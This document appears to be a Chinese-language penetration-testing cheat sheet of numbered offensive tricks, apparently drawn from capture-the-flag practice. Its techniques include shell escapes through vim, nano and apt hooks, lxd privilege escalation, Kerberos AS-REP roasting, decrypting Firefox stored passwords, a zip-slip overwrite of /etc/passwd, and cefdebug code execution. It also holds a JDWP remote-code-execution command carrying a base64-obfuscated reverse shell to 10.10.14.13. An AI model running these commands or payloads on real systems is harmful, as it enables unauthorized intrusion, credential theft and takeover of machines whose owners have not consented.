技巧线索:
https://github.com/swisskyrepo/PayloadsAllTheThings
Recon - Rowbot's PenTest Notes
密码破解:
MD5:MD5, SHA1, Linux, Rainbow Tables, etc.
SHA256/SHA512:Decrypt MD5, SHA1, MySQL, NTLM, SHA256, SHA512, Wordpress, Bcrypt hashes for free online
常用密码破解:https://gchq.github.io/CyberChef/
1.当shell环境受限时,使用man man开启新的shell
!bash
2.当vim可以在高权限环境下使用时(如sudo),可以使用
!/bin/bash开启 特权shell
3.当kerberos 未开启preauthon时,可以使用impacket工具拿到TGT
impacket-GetNPUsers
4.bloodhound bloodhound-python可以对DC收集信息,前提时有个DC账户
5.如果用户在lxd组成员,可以在root权限下mount到原环境根目录,另外,在容器内的root权限,可以通过af_unix 传出容器,从而实现本地提权。
6.firefox 账户存档地址
~/.mozilla/firefox/Profiles/xxx/logins.json
使用https://github.com/unode/firefox_decrypt 解码。
7.nano执行shell
nano
^R^X
reset; sh 1>&0 2>&0
nano相关参见:https://gtfobins.github.io/gtfobins/nano/
9.Linux可以使用pspy64 非root用户监控系统进程。该工具使用inotify监控 /proc目录。
10.Linux提权方式:替代 suid/sgid程序
11.Oracle工具:odat
12.CrackMapExec密码破解工具
13.信息收集相关:https://medium.com/@Shorty420/enumerating-ad-98e0821c4c78
14.web 爬取用户名工具cewl
15.查找LDAP Server
dig srv _ldap._tcp.dc.msdcs.child1."域名" @DNS_Server
查询root dc:
dig +short srv _ldap._tcp.dc._msdcs."域名" @DNS_Server
Dig -t SRV _gc._tcp.<domain fqdn>
Dig -t SRV _ldap._tcp.<domain fqdn>
Dig -t SRV _kerberos._tcp.<domain fqdn>
Dig -t SRV _kpasswd._tcp.<endpoint fqdn>
Nmap — script dns-srv-enum –script-args “dns-srv-enum.domain=’<domain fqdn>’”
16.smb 用户枚举
msf:scanner/smb/smb_lookupsid
17.当机器有VS code在执行时,可以用cefdebug远程debug,运行恶意代码
https://github.com/taviso/cefdebug
18.zip slip
zipfile.setEntry(名字,zpath),zpath可用相对当前目录../../../../跳到root目录,解压时workdir如果是/var/tmp
../../../../etc/passwd就会跳到 /etc/passwd目录
python2 evilarc.py passwd -f p2.zip -d 10 -o unix -p etc
19.JAVA DEBUG协议JDWP RCE
python2 jdwp-shellifier.py --break-on 'java.lang.String.indexOf' -t localhost -p 8000 --cmd "bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMy80NDMgMD4mMSc=}|{base64,-d}|{bash,-i}"
cmd需要使用java.lang.Runtime.exec() Payload Workarounds转换
20.当服务器防火墙屏蔽ssh,但是开启http proxy时,可使用Corkscrew(tunning ssh with http)
编辑~/.ssh/config,内容如下:
ProxyCommand /usr/local/bin/corkscrew target_ip 8080 %h %p
ssh xxx@127.0.0.1(ssh client-> targetip:proxy_port->127.0.0.1(target_machine):22
21.phpbash 使用PHP实现的类bash,当不能获取reverse shell时有用
https://github.com/Arrexel/phpbash
22. apt update时,会调用dpkg,可配置dpkg: Pre-Invoke dpkg:Post-Invoke实现hook,用于加入执行命令
配置方法:
1./etc/apt/apt.conf.d/ 00command,内容如下:
APT::Update::Pre-Invoke {"command"};
2. apt update -o option
sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
参考:Hacking the Java Debug Wire Protocol - or - “How I met your Java debugger” | IOActive
网友评论